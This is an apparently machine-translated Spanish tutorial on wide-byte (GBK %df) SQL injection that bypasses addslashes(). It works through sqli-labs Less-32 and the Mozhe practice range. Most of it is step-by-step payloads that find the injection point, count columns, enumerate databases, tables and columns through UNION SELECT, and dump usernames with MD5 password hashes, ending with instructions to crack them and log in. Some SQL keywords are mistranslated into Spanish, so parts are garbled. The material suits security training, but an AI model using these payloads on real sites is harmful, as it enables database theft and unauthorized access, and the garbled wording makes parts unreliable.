1. Función
Función agrega barras():
Agrega una barra invertida antes del carácter predefinido especificado. Estos caracteres predefinidos se refieren a la
Comillas simples ('), comillas dobles ("), barra invertida (/), NUL (carácter nulo)
La función es castrar la función de estos caracteres, poner una barra invertida delante , como comillas simples.
Después de ser filtrado por la función addedlashes(), se convierte en \ '. Los caracteres convertidos en entidades no tienen función.
Al escribir o consultar el nombre de usuario ' 1' ', la base de datos reconocerá las comillas simples ' como símbolo de cierre, y se requiere ingresar una comilla simple para cerrarlo, lo que significa consultar '1' y no hay manera de consultar ' 1' '
Si ingresa ' 1\' ', \ hace que ' pierda la función de cierre, entonces los datos reconocerán ' 1' '
2. Codificación GBKB
Podemos omitir ingresando un %df delante del '
Originalmente ingresaste ?id=1', se escapará automáticamente a ?id=1\', pero la codificación en \ es %5c
Si ingresa un %df delante de él, se convertirá en %df5c, luego %df5c se analizará en un carácter
Entonces, ¿de dónde vienen %df y %5c?
%df es lo que ingresamos manualmente
%5c usa la función addedlashes() para agregar automáticamente \ antes del signo ', y este \ es %5c
Luego ponga %df y %5c juntos, se ajustarán a un método de codificación GBKB
El quinto y cth de %df solo forman un carácter chino.
De esta manera, pierde la función de este \ que comentó fuera de las comillas simples '
Originalmente, este \ era para comentar la función de nuestras comillas simples.
Por ejemplo, originalmente quería encontrar 'para jugar, pero perdí la función de' comillas simples mientras jugaba.
Pero ahora agregamos manualmente un %df delante de sus comillas simples. Cuando la función addedlashes() agrega el símbolo \ delante de nuestras comillas simples, la codificación de este símbolo es %5c, lo cual es cierto En cambio, %df tomó %5c para jugar
Entonces se convierte en %df%5c para jugar juntos, 'comillas simples para jugar solo. Esto pasa por alto con éxito el filtro
3. Omisión de bytes anchos
Condiciones previas de omisión de bytes anchos:
Se requiere que el método de codificación de la otra parte también sea codificación GBK, y al enviar la solicitud, se indica que el cliente también está utilizando codificación GBK.
4. Presentación del caso
(1) sqli-labs-master/Less-32
1. Determinar el modo de cierre y determinar si hay un punto de inyección
?id=1%df' y 1=2 --+
?id=1%df') y 1=2 --+
?id=1%df" y 1=2 --+?id=1%df") y 1=2 --+
Probado a ?id=1%df' y 1=2 --+ La página reporta un error para confirmar que hay un punto de inyección
Cuando hemos probado todos los símbolos cerrados, la página sigue sin hacer eco
Use %df para probar el cierre
URL: ?id=1%df'
error de pagina
''1�\'' LÍMITE 0,1' en la línea 1
'1�\'' LÍMITE 0,1
Determinar el método de cierre como comillas simples
URL: ?id=1%df' --+
Use --+ para comentar el siguiente código
El eco de la página es normal.
url ?id=1%df' y 1=1--+
Use y 1=1 para probar el eco de la página normalmente
url:?id=1%df' y 1=2 --+
Use y 1=2 para probar la página e informar un error para confirmar que hay un punto de inyección
2. Determinar el número de campos
?id=1%df' ordenar por 3--+
url:?id=1%df' pedido por 4--+
Cuando se prueba el cuarto campo, la página informa un error.
url: ?id=1%df' ordenar por 3 --+
Cuando se prueba el tercer campo, el eco de la página es normal
3. Determinar el bit de eco
?id=1%df' selección de unión 1,2,3 --+
Asegúrese de que el campo repetido en la página sea
2.3
4. Obtenga el nombre de la base de datos
?id=-1%df' unión seleccione 1,(base de datos()),3--+
Asegúrese de que el nombre de la base de datos sea Securiry
5. Obtenga el nombre de la tabla de datos
?id=-1%df' union select 1,2,(select group_concat(table_name) from information_schema.tables where table_schema=database())--+
correos electrónicos, referencias, uagents, usuarios
6. Obtener campos (columnas)
?id=-1%df' union select 1,2,(select group_concat(column_name)from information_Schema.columns where table_schema=database() and table_name=0x7573657273)--+
Nota: 0x representa hexadecimal, porque normalmente escribimos table_name='users' en pruebas normales
Pero addedlashes() aquí también filtra las dos comillas simples que ingresamos '', por lo que debemos convertir el nombre de nuestra tabla en formato hexadecimal y agregar el método de escritura fijo de 0x al frente.
0x: representa hexadecimal
7573657273: representa a los usuarios
identificación
nombre de usuario
contraseña
campo
7. Biblioteca de arrastre
?id=-1%df' union select 1,2,(select group_concat(username, 0x7e ,password)from security.users)--+
0x: representa hexadecimal
7e:~ número
El 0x7e aquí es principalmente el símbolo que empalmamos
(2) Campo de tiro Mozhe (inyección de bytes anchos)
1. Determine el método de cierre y juzgue si hay un punto de inyección
?id=1%df' y 1=2 --+
url:?id=1%df' y 1=1 --+
La página se repite normalmente
?id=1%df' y 1=2--+
error de pagina
Asegúrese de que haya una inyección
2. Determinar el número de campos
?id=1%df' ordenar por 5 --+
url:?id=1%df' ordenar por 5 --+
La página se repite normalmente
url:?id=1%df' ordenar por 6 --+
error de pagina
Determinar un total de 5 campos
3. Determinar el bit de eco
?id=-1%df' selección de unión 1,2,3,4,5 --+
Asegúrese de que el campo de eco sea 3, 5
4. Obtenga el nombre de la base de datos
?id=-1%df' unión seleccione 1,2,3,4,(base de datos())--+
url:?id=-1%df' union select 1,2,3,4,(base de datos()) --+
Asegúrese de que la base de datos actual esté
mozhe_discuss_stormgroup
5. Obtenga la tabla de datos
?id=-1%df' union select 1,2,3,4,(select group_concat(table_name)from information_schema.tables where table_Schema=database())--+
La tabla de datos actual es
aviso,stormgroup_member
6. Obtener información de campo (columna)
id=-1%df' union select 1,2,3,4,(select group_concat(column_name)from information_schema.columns where table_schema=database() and table_name=0x7374
6F726D67726F75705F6D656D626572 )--+0x: representa el método de escritura fijo hexadecimal
73746F726D67726F75705F6D656D626572:stormgroup_miembro
Tenga en cuenta aquí que ya sea la prueba de sqlibas anterior o la prueba aquí, cuando convierte el nombre de la tabla a hexadecimal, puede convertir directamente el nombre de la tabla sin comillas dobles o simples.
nombre,contraseña,estado
7. Biblioteca de arrastre
?id=-1%df' union select 1,2,3,4,(select group_concat(name,0x7e,password)from mozhe_discuz_stormgroup
.stormgroup_member)--+0x: método de escritura fijo hexadecimal
7e:~
mozhe~3114b433dece9180717f2b7de56b28a3,
mozhe~aec5684b03c7c59a55bf958c2f3320e7
Aquí hay dos cuentas que utilizan el método de encriptación md5. Tómelo para descifrarlo e iniciar sesión.